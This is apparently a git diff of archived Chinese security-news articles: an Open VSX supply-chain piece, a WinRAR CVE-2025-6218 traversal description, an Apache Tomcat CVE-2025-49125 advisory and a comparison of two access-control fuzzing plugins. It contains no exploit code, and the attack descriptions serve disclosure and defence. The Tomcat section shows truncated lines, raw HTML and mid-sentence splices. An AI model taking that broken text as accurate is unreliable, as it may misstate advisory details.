Yomtov 强调：“Open VSX 被攻陷，是一场供应链噩梦。每一个扩展安装动作，每一次后台自动更新，实际上都是一次对攻击者的隐秘授信。”
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**IDE 插件：被忽视的持久化入口**
|
||||
|
||||
|
||||
IDE 插件本质上是“**以高权限运行的不受监管软件包**
|
||||
”。虽然长期以来，它们被默认为安全工具的组成部分，但攻击者显然正在转向这类隐蔽却高效的攻击面。
|
||||
|
||||
|
||||
MITRE ATT&CK 框架已于 2025 年 4 月新增 “IDE Extensions” 技术分类，明确将其纳入**持久化、权限提升与隐蔽访问路径之一**
|
||||
，说明其威胁性已获得战术层级的认可。
|
||||
|
||||
|
||||
从 PyPI、npm、Huggingface 到 VS Code 插件市场，所有面向开发者的生态平台，都在成为攻击者眼中的“供应链金矿”。但与主流包管理系统相比，IDE 插件市场的**审查流程仍明显滞后**
|
||||
，漏洞治理与生态安全机制尚未建立行业共识。
|
||||
|
||||
|
||||
IDE 插件往往是开发者最依赖的“效率工具”，但其安全边界却长期缺失审视。当“高权限 + 自动更新 + 免审核”成为常态，任何一个插件都可能演变为隐蔽的远控后门，构建出一条无人知晓的攻击链。
|
||||
|
||||
|
||||
此次 Open VSX 漏洞事件，再次提醒行业：在现代软件开发流程中，插件不是辅助工具，而是供应链的一部分；不是开发者的个人选择，而是企业系统的一道潜在后门。
|
||||
|
||||
|
||||
企业安全团队应将 IDE 扩展纳入软件物料清单管理，强化构建与发布环节的最小权限原则，严格控制自动化工作流中敏感凭据的暴露风险。同时，需建立完善的插件来源验证机制和安全审计流程。开源平台应推动引入“零信任”构建环境，实现构建过程与执行环境的隔离，防止未经授权的代码执行，切实筑牢供应链安全防线。
|
||||
|
||||
|
||||
消息来源：
|
||||
|
||||
https://thehackernews.com/2025/06/critical-open-vsx-registry-flaw-exposes.html
|
||||
|
||||
|
||||
推荐阅读
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<table><tbody><tr style="box-sizing: border-box;"><td data-colwidth="100.0000%" width="100.0000%" style="border-width: 1px;border-color: rgb(62, 62, 62);border-style: none;box-sizing: border-box;padding: 0px;"><section style="box-sizing: border-box;"><section style="display: flex;flex-flow: row;margin: 10px 0% 0px;justify-content: flex-start;box-sizing: border-box;"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;max-width: 100%;height: auto;flex: 0 0 auto;align-self: center;box-shadow: rgb(0, 0, 0) 0px 0px 0px;box-sizing: border-box;"><section style="font-size: 14px;color: rgb(115, 215, 200);line-height: 1;letter-spacing: 0px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">01</span></strong></p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;align-self: center;height: auto;box-sizing: border-box;"><section style="font-size: 14px;letter-spacing: 1px;line-height: 1.8;color: rgb(140, 140, 140);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(224, 224, 224);box-sizing: border-box;"><span leaf="">｜</span></span><span style="font-size: 12px;box-sizing: border-box;"><span leaf=""><a class="normal_text_link" target="_blank" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;color: rgb(87, 107, 149);text-decoration: none;-webkit-user-drag: none;cursor: default;max-width: 100%;font-family: "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;" href="https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649788715&idx=1&sn=412ab987accc4c3fb36e94c9f496aa3e&scene=21#wechat_redirect" textvalue="160亿登录凭证泄露" data-itemshowtype="0" linktype="text" data-linktype="2">160亿登录凭证泄露</a></span></span></p></section></section></section><section style="margin: 5px 0%;box-sizing: border-box;"><section style="background-color: rgb(224, 224, 224);height: 1px;box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="100.0000%" width="100.0000%" style="border-width: 1px;border-color: rgb(62, 62, 62);border-style: none;box-sizing: border-box;padding: 0px;"><section style="box-sizing: border-box;"><section style="display: flex;flex-flow: row;margin: 10px 0% 0px;justify-content: flex-start;box-sizing: border-box;"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;max-width: 100%;height: auto;flex: 0 0 auto;align-self: center;box-sizing: border-box;"><section style="font-size: 14px;color: rgb(115, 215, 200);line-height: 1;letter-spacing: 0px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">02</span></strong></p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;align-self: center;height: auto;box-sizing: border-box;"><section style="font-size: 14px;letter-spacing: 1px;line-height: 1.8;color: rgb(140, 140, 140);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(224, 224, 224);box-sizing: border-box;"><span leaf="">｜</span></span><span style="font-size: 12px;box-sizing: border-box;"><span leaf=""><a class="normal_text_link" target="_blank" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;color: rgb(87, 107, 149);text-decoration: none;-webkit-user-drag: none;cursor: default;max-width: 100%;font-family: "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;" href="htLine truncated
|
||||
|
||||
|
||||
**安全KER**
|
||||
|
||||
|
||||
安全KER致力于搭建国内安全人才学习、工具、淘金、资讯一体化开放平台，推动数字安全社区文化的普及推广与人才生态的链接融合。目前，安全KER已整合全国数千位白帽资源，联合南京、北京、广州、深圳、长沙、上海、郑州等十余座城市，与ISC、XCon、看雪SDC、Hacking Group等数个中大型品牌达成合作。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**注册安全KER社区**
|
||||
|
||||
**链接最新“圈子”动态**
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
# WinRAR 缺陷（CVE-2025-6218）：通过目录遍历执行远程代码
|
||||
TtTeam 2025-06-28 08:18
|
||||
|
||||
WinRAR 7.11 及更早版本中的一个严重漏洞。该高危漏洞允许威胁行为者通过制作恶意存档文件来执行任意代码。
|
||||
|
||||
|
||||
|
||||
攻击向量如下：黑客在线分发特制的压缩文件。一旦用户使用 WinRAR 下载并打开该压缩文件，漏洞就会被触发，执行预先配置的代码，例如启动与命令与控制 (C2) 服务器的连接以下载恶意负载。
|
||||
|
||||
该漏洞编号为 CVE-2025-6218，CVSS 评分为 7.8，源于 WinRAR 中的一个目录遍历问题。虽然WinRAR 7.12 Beta 1中已发布补丁，但，稳定版本尚未更新。
|
||||
|
||||
CVE-2025-6218 被归类为远程代码执行 (RCE) 漏洞，攻击者可利用该漏洞在当前用户上下文中运行恶意代码。尽管利用该漏洞需要用户交互，但总体风险仍然很高。
|
||||
|
||||
该漏洞的核心在于操纵压缩包内容中的文件路径，这可能导致 WinRAR 进程遍历到非预期的目录。这种路径遍历绕过了标准的安全约束，允许将文件写入到预期的提取路径之外。
|
||||
|
||||
此类漏洞与其他攻击技术结合使用时尤其危险，可能导致整个系统被攻陷。技术分析证实，该漏洞存在于 WinRAR 处理存档文件时的文件路径处理例程中。
|
||||
|
||||
此漏洞对个人和企业都构成了重大威胁。一个简单的网络钓鱼活动，只需一个看似无害的存档文件，就可能诱使用户在不知情的情况下激活漏洞利用程序，甚至对个人造成损害。
|
||||
|
||||
对于企业而言，影响更为严重。攻击者可以利用 WinRAR 作为入侵企业网络的入口点，部署恶意软件，窃取数据或通过勒索软件加密敏感文件。
|
||||
|
||||
因此，严重依赖 WinRAR 的组织必须立即升级到 WinRAR 7.12 Beta 1，同时加强员工网络安全培训，以阻止从不受信任的在线来源下载文件或档案。
|
||||
|
||||
|
||||
@@ -1,44 +1,23 @@
|
||||
# 【漏洞通告】Apache Tomcat安全约束绕过漏洞 (CVE-2025-49125)
|
||||
启明星辰安全简讯 2025-06-17 08:19
|
||||
信息安全等级保护测评中心 2025-06-28 03:24
|
||||
|
||||
### 一、漏洞概述
|
||||
<table><tbody style="visibility: visible;"><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-width: 2.25pt 1.5pt 1.5pt 2.25pt; border-color: windowtext; border-style: solid; background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">漏洞名称<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" colspan="3" valign="middle" style="width:91.0pt;background:#DEEAF6;border-top: 2.25pt solid windowtext; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 2.25pt solid windowtext;padding:0pt 5.4pt 0pt 5.4pt;height:20.15pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: 宋体;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;line-height: 150%;"><span style="mso-bookmark:OLE_LINK4;"><span style="mso-bookmark:OLE_LINK1;"><span style="mso-bookmark:OLE_LINK2;"><span style="mso-bookmark:OLE_LINK6;"><span style="mso-bookmark:_Hlk121210716;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-bidi-font-family:Arial;font-variant:normal;text-transform:none;color:#333333;">Apache Tomcat安全约束绕过漏洞</span></span></span></span></span></span></p></td></tr><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-top: none; border-left: 2.25pt solid windowtext; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">CVE ID<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" colspan="3" valign="middle" style="width:91.0pt;background:#DEEAF6;border-top:none;border-left:none;border-bottom: 1.5pt solid windowtext;border-right:2.25pt solid windowtext;padding:0pt 5.4pt 0pt 5.4pt;height:20.15pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: 宋体;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;line-height: 150%;"><span style="mso-bookmark:OLE_LINK4;"><span style="mso-bookmark:OLE_LINK1;"><span style="mso-bookmark:OLE_LINK2;"><span style="mso-bookmark:OLE_LINK6;"><span style="mso-bookmark:_Hlk121210716;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-bidi-font-family:Arial;font-variant:normal;text-transform:none;color:#333333;">CVE-2025-49125</span></span></span></span></span></span></p></td></tr><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-top: none; border-left: 2.25pt solid windowtext; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">漏洞类型<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">访问控制漏洞<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">发现时间<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 2.25pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm Line truncated
|
||||
Apache Tomcat是一个开源的Java Servlet容器和Web服务器，主要用于运行Java应用程序，特别是基于Servlet和JSP技术的应用。它由Apache软件基金会开发，广泛应用于Web开发和企业级应用程序中，支持Servlet、JSP以及WebSocket等技术，具有高性能、可扩展性和可靠性。
|
||||
## 一、漏洞概述
|
||||
|
||||
2025年6月17日，启明星辰集团VSRC监测到Apache发布安全公告，披露Apache Tomcat中的一个安全约束绕过漏洞。当PreResources或PostResources被挂载在Web应用根目录之外时，攻击者可能通过非预期路径访问这些资源，从而绕过原本应保护这些资源的安全约束。
|
||||
### 二、影响范围
|
||||
<table><tbody><tr style="margin: 0px;padding: 0px;box-sizing: border-box;height: 27px;visibility: visible;"><td data-colwidth="100" width="100" style="margin: 0px;padding: 0px 7px;box-sizing: border-box;border-width: 3px 2px 2px 3px;border-style: solid;border-color: windowtext;border-image: initial;background: rgb(222, 234, 246);visibility: visible;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;border: medium none;list-style: none;font-size: 14px;color: rgb(51, 51, 51);line-height: 22px;text-align: left;"><span leaf="">漏洞名称</span></p></td><td colspan="3" data-colwidth="100,100,100" width="121" valign="middle" style="margin: 0px;padding: 0px 7px;box-sizing: border-box;border-top: 3px solid windowtext;border-right: 3px solid windowtext;border-bottom: 2px solid windowtext;border-left: none;border-image: initial;background: rgb(222, 234, 246);"><p style="margin: 0px;padding: 0px;box-sizing: border-box;border: medium none;list-style: none;font-size: 14px;color: rgb(51, 51, 51);line-height: 22px;text-align: left;"><span leaf="">Apache Tomcat安全约束绕过漏洞</span></p></td></tr><tr style="margin: 0px;padding: 0px;box-sizing: border-box;height: 27px;visibility: visible;"><td data-colwidth="100" width="100" style="margin: 0px;padding: 0px 7px;box-sizing: border-box;border-top: none;border-right: 2px solid windowtext;border-bottom: 2px solid windowtext;border-left: 3px solid windowtext;border-image: initial;background: rgb(222, 234, 246);visibility: visible;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;border: medium none;list-style: none;font-size: 14px;color: rgb(51, 51, 51);line-height: 22px;text-align: left;"><span leaf="">CVE ID</span></p></td><td colspan="3" data-colwidth="100,100,100" width="121" valign="middle" style="margin: 0px;padding: 0px 7px;box-sizing: border-box;border-top: none;border-right: 3px solid windowtext;border-bottom: 2px solid windowtext;border-left: none;border-image: initial;background: rgb(222, 234, 246);"><p style="margin: 0px;padding: 0px;box-sizing: border-box;border: medium none;list-style: none;font-size: 14px;color: rgb(51, 51, 51);line-height: 22px;text-align: left;"><span leaf="">CVE-2025-49125</span></p></td></tr><tr style="margin: 0px;padding: 0px;box-sizing: border-box;height: 27px;visibility: visible;"><td data-colwidth="100" width="100" style="margin: 0px;padding: 0px 7px;box-sizing: border-box;border-top: none;border-right: 2px solid windowtext;border-bottom: 2px solid windowtext;border-left: 3px solid windowtext;border-image: initial;background: rgb(222, 234, 246);visibility: visible;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;border: medium none;list-style: none;font-size: 14px;color: rgb(51, 51, 51);line-height: 22px;text-align: left;"><span leaf="">漏洞类型</span></p></td><td data-colwidth="100" width="100" style="margin: 0px;padding: 0px 7px;box-sizing: border-box;border-top: none;border-right: 2px solid windowtext;border-bottom: 2px solid windowtext;border-left: none;border-image: initial;background: rgb(222, 234, 246);visibility: visible;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;border: medium none;list-style: none;font-size: 14px;color: rgb(51, 51, 51);line-height: 22px;text-align: left;"><span leaf="">访问控制漏洞</span></p></td><td data-colwidth="100" width="100" style="margin: 0px;padding: 0px 7px;box-sizing: border-box;border-top: none;border-right: 2px solid windowtext;border-bottom: 2px solid windowtext;border-left: none;border-image: initial;background: rgb(222, 234, 246);visibility: visible;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;border: medium none;list-style: none;font-size: 14px;color: rgb(51, 51, 51);line-height: 22px;text-align: left;"><span leaf="">发现时间</span></p></td><td data-colwidth="100" width="100" style="margin: 0px;padding: 0px 7px;box-sizing: border-box;border-top: none;border-right: 3px solid windowtext;border-bottom: 2px solid windowtext;border-left: none;border-image: initial;background: rgb(222, 234, 246);visibility: visible;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;border: medium none;list-style: none;font-size: 14px;color: rgb(51, 51, 51);line-height: 22px;text-align: left;"><span leaf="">2025-06-17</span></p></td></tr><tr style="margin: 0px;padding: 0px;box-sizing: border-box;height: 27px;visibility: visible;"><td data-colwidth="100" width="100" style="margin: 0px;padding: 0px 7px;box-sizing: border-box;border-top: none;border-right: 2px solid windowtext;border-bottom: 2px solid windowtext;border-left: 3px solid windowtext;border-image: initial;background: rgb(222, 234, 246);visibility: visible;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;border: medium none;list-style: none;font-size: 14px;color: rgb(51, 51, 51);line-height: 22px;text-align: left;"><span leaf="">漏洞评分</span></p></td><td data-colwidth="100" width="100" style="margin: 0px;padding: 0px 7px;box-sizing: border-box;bordeLine truncated
|
||||
|
||||
11.0.0-M1 ≤ Apache Tomcat ≤ 11.0.7
|
||||
|
||||
10.1.0-M1 ≤ Apache Tomcat ≤ 10.1.41
|
||||
|
||||
9.0.0-M1 ≤ Apache Tomcat ≤ 9.0.105
|
||||
### 三、安全措施
|
||||
|
||||
3.1 升级版本
|
||||
|
||||
建议升级Apache Tomcat至11.0.8、10.1.42或9.0.106以上版本，并确保PreResources和PostResources正确挂载，避免绕过安全约束。
|
||||
|
||||
下载链接：
|
||||
|
||||
https://tomcat.apache.org/
|
||||
|
||||
3.2 临时措施
|
||||
|
||||
暂无。
|
||||
|
||||
3.3 通用建议
|
||||
|
||||
定期更新系统补丁，减少系统漏洞，提升服务器的安全性。
|
||||
|
||||
加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。
|
||||
Apache Tomcat是一个开源的Java Servlet容器和Web服务器，主要用于运行Java应用程序，特别是基于Servlet和"text-wrap-mode: wrap;">• 加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。
|
||||
|
||||
•
|
||||
使用企业级安全产品，提升企业的网络安全性能。
|
||||
|
||||
•
|
||||
加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。
|
||||
|
||||
•
|
||||
启用强密码策略并设置为定期修改。
|
||||
|
||||
3.4 参考链接
|
||||
### 参考链接
|
||||
|
||||
|
||||
https://lists.apache.org/thread/m66cytbfrty9k7dc4cg6tl1czhsnbywk
|
||||
|
||||
@@ -0,0 +1,140 @@
|
||||
# 亲测AIFuzzing与XiaYue逻辑漏洞检测插件的区别：AI赋能的安全检测工具优势解析
|
||||
原创 DarkFi5 安全鸭 2025-06-28 04:11
|
||||
|
||||
在安全测试领域，逻辑漏洞检测工具的选择至关重要。本文将通过实际测试对比AIFuzzing与XiaYue两款工具的表现，分析它们在逻辑漏洞检测中的差异，并重点展示AIFuzzing接入AI能力后带来的显著优势。
|
||||
## 一、常规逻辑漏洞检出能力对比
|
||||
|
||||
在实际测试中，我们选择了同时存在漏洞的接口进行对比测试，例如接口 xxxx/GetCharterGuideInfo
|
||||
。结果显示：
|
||||
- **XiaYue**
|
||||
：能够检出漏洞，表现稳定。
|
||||
|
||||
- 
|
||||
|
||||
**AIFuzzing**
|
||||
：由于内置规则参考了XiaYue，也就是xiayue能检测出来的，AIFuzzing一定可以。
|
||||
|
||||
|
||||
|
||||
在常规逻辑漏洞检出方面，AIFuzzing与XiaYue基本没有差异。但AIFuzzing接入了AI能力，使其在后续误报率降低和结果分析上展现了更强大的优势。
|
||||
## 二、公共接口误报率对比
|
||||
### 公共接口案例分析
|
||||
|
||||
在检测公共接口时，XiaYue存在较高的误报率。例如，某些公共接口返回的数据为全体用户均可访问的公共信息（如公告、新闻、公共配置等），响应数据的大小和相似度一致，导致XiaYue误判为越权漏洞。
|
||||
|
||||
- **XiaYue**
|
||||
：
|
||||
|
||||
|
||||
|
||||
|
||||
- 基于传统规则（如响应长度相似度）判断漏洞是否存在。
|
||||
|
||||
- 在公共接口场景中，由于A、B账号访问返回数据一致，可能误判为存在漏洞。
|
||||
|
||||
- **AIFuzzing**
|
||||
：
|
||||
|
||||
|
||||
|
||||
|
||||
- 通过接入AI，对接口返回数据进行语义分析和逻辑判断。
|
||||
|
||||
- AI精准识别公共接口场景，过滤掉无关紧要的内容，避免误报。
|
||||
|
||||
- 在案例中，AIFuzzing正确识别接口为公共接口，未误报为漏洞。
|
||||
|
||||
### 公共接口案例二
|
||||
|
||||
另一个公共接口场景中，XiaYue依旧因响应数据一致性误判为越权漏洞，而AIFuzzing通过AI能力精准判断接口返回的是公共数据，避免了误报。
|
||||
|
||||
AIFuzzing工具识别公共接口：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
xiayue：
|
||||
|
||||
根据响应长度相似匹配漏洞是否存在，由于公共接口，所以A、B账号访问返回的数据大小一定会一致，导致判断为漏洞存在，实际这只是公共接口，用户并不想要看见这些无关紧要的内容，接入AI就可以很好的帮我们过滤掉这些内容。
|
||||
|
||||
|
||||
## 三、结果展示优化
|
||||
|
||||
在漏洞结果展示方面，AIFuzzing和XiaYue的设计逻辑有所不同：
|
||||
- **XiaYue**
|
||||
：不区分漏洞等级，所有检测结果平铺展示。
|
||||
|
||||
|
||||
|
||||
- **AIFuzzing**
|
||||
：
|
||||
|
||||
|
||||
|
||||
- 优先展示存在敏感数据泄漏的接口（如手机号、身份证等）。
|
||||
|
||||
- 提升用户对关键漏洞的关注度，优化了结果的展示逻辑。
|
||||
|
||||
- 漏洞详情内容方便用户查看漏洞是否符合命中预期。
|
||||
|
||||
这一设计使得AIFuzzing在实际使用中更具实用性，减少了用户筛选漏洞的时间成本。
|
||||
## 四、接入AI能力后的误报率降低
|
||||
### 实际场景分析
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
在测试某接口时，传参为 mobilephone
|
||||
和 email
|
||||
，用于修改当前用户的电话和邮箱信息。传统工具（如XiaYue）可能根据响应数据的长度和一致性误判为越权漏洞：
|
||||
|
||||
- **XiaYue**
|
||||
：
|
||||
|
||||
|
||||
- 由于A、B账号替换后响应内容一致，误判为存在漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
- **AIFuzzing**
|
||||
：
|
||||
|
||||
|
||||
|
||||
|
||||
- 接口实际是通过 cookie
|
||||
鉴权，从 cookie
|
||||
中取 userid
|
||||
进行个人信息修改。
|
||||
|
||||
- 数据包中没有 id=xxx
|
||||
或 userid=xxx
|
||||
的参数控制用户行为。
|
||||
|
||||
- AI通过语义分析和逻辑判断发现：
|
||||
|
||||
- AI正确识别接口为个人信息修改接口，未误报为越权漏洞。
|
||||
|
||||
### 优势总结
|
||||
|
||||
接入AI后，AIFuzzing能够有效降低漏洞误报率，提高公共接口识别率，减少安全测试人员的工作量，提升检测效率。
|
||||
|
||||
不开启AI，基于内置规则也可使用。
|
||||
|
||||
最后，我想说的是，每款工具都有其独特之处，至于每款工具好不好用，根据个人使用习惯不同，可能都会有不一样的感觉，大家仁者见仁，智者见智！
|
||||
|
||||
工具地址：
|
||||
|
||||
https://github.com/darkfiv/AIFuzzing
|
||||
|
||||
更新预告
|
||||
|
||||
V1.0.5
|
||||
- 添加漏洞误报点击按钮，当查看漏洞发现为误报后，可标注为误报状态，方便在多结果下，用户快速筛查漏洞。
|
||||
|
||||
Reference in new issue
Block a user